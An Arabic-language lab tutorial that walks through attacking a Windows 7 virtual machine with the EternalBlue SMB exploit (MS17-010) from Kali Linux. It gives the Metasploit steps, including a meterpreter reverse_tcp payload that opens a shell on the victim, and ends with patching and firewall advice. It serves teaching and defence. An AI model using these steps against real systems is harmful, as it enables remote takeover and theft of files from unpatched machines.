المختبر: هجوم على نظام تشغيل ويندوز باستخدام ثغرة بروتوكول SMB.
I. الوصف
سنستخدم في هذه التجربة جهازي كمبيوتر لمحاكاة هجوم يعتمد على ثغرة في بروتوكول SMB الخاص بنظام تشغيل ويندوز. جهاز يعمل بنظام Kali Linux، بدور المهاجم (hacker). وجهاز آخر بدور الضحية (victim). جهاز الضحية يعمل بنظام ويندوز 7 64 بت ويحتوي على ثغرة SMB. للقيام بذلك، سنستخدم على جهاز Kali Linux كود الاستغلال المسمى EternalBlue لشن الهجوم على جهاز ويندوز 7.
II. مقدمة عامة
Server Message Block (SMB) هو بروتوكول لمشاركة الملفات شائع جداً على منصة ويندوز من مايكروسوفت. بفضل هذا البروتوكول، يمكن لأجهزة ويندوز المتصلة ببعضها على نفس طبقة الشبكة أو داخل نفس المجال (Domain) مشاركة الملفات فيما بينها. حتى الآن، يُعرف SMB أيضاً باسم Common Internet File Sharing (CIFS).
EternalBlue هو كود استغلال للمعلومات، يعتمد على ثغرة في بروتوكول SMB عبر المنفذ 445. في البداية، تم تطوير EternalBlue بواسطة وكالة الأمن القومي الأمريكية (NSA). الاسم الكامل بالإنكليزية هو U.S. National Security Agency. لكنه لاحقاً تم تسريبه من قبل مجموعة الهاكرز The Shadow Brokens في عام 2017. وفي نفس العام، حدث هجوم واسع النطاق لفيروس تشفير البيانات – Ransomware، استهدف أجهزة ويندوز من مايكروسوفت في جميع أنحاء العالم. وكان أشهرها فيروس WannaCry. حتى الآن، على الرغم من أن مايكروسوفت قد قامت بتصحيح هذه الثغرة بواسطة التحديث الأمني MS17-010، إلا أن عدداً كبيراً من أجهزة الكمبيوتر حول العالم التي تعمل بنظام ويندوز لا تزال تعاني من هذه الثغرة. تم الإعلان عن هذه الثغرة في CVE-2017-0144. (ثغرة تنفيذ كود عن بعد في ويندوز SMB). هذه الثغرة خطيرة للغاية ويسهل استغلالها. والجدير بالذكر أنه لشن هجوم عبر ثغرة بروتوكول SMB هذه، لا يحتاج المخترق إلى إرسال أو خداع الضحية لتنزيل أو تشغيل أي فيروس ضار. أي أن الضحية حتى لو لم يفعل شيئاً، لا يزال من الممكن أن يتعرض للاختراق بسهولة ويسيطر المخترق على جهازه دون أن يدري.
III. التحضير
تجهيز جهازين افتراضيين يعملان على برنامج VMware Workstation. الجهاز الافتراضي Kali Linux (جهاز المخترق) بعنوان IP: 192.168.198.140 والجهاز الافتراضي ويندوز 7 (جهاز الضحية) بعنوان IP: 192.168.198.143
1.على جهاز Kali الافتراضي (المهاجم):
-التحقق من IP: ifconfig
-بدء خدمة Postgresql: # service postgresql start
-التحقق مما إذا كانت Postgresql تعمل باستخدام الأمر: # service postgresql status
2.على جهاز ويندوز 7 الافتراضي (الضحية):
التحقق من IP: ipconfig
إيقاف تشغيل جدار الحماية (Firewall).
IV. تنفيذ الهجوم.
على جهاز Kali: تسجيل الدخول إلى Metasploit باستخدام الأمر: # msfconsole
عند الدخول إلى Metasploit، نبحث عن الثغرات والأوامر المتعلقة بـ ms17_010 باستخدام الأمر: # search ms17_010
إضافة عنوان IP للجهاز الضحية والمهاجم
إعداد الـ payload للاستغلال:
use 0 -> set payload windows/x64/meterpreter/reverse_tcp:
تشغيل الـ exploit لبدء الاستغلال
-فتح شل على جهاز الضحية (يتم تنفيذه من خلال ترمينال جهاز المهاجم) بعد اختراقه:
=> هنا يعتبر المخترق قد نجح في اختراق جهاز الضحية. عندها يمكن للمخترق حذف أو سرقة الملفات من جهاز الضحية دون علمه. بل ويمكنه حتى تحميل وتشغيل الفيروسات مباشرة عليه.
V. طرق الوقاية.
– لتجنب استغلال بروتوكول SMB، يجب القيام بما يلي:
تفعيل جدار الحماية (Firewall).
تحديث ويندوز إلى أحدث إصدار. أو تنزيل وتثبيت التصحيحات الأمنية من مايكروسوفت، خاصة التصحيح الأمني ms17_010.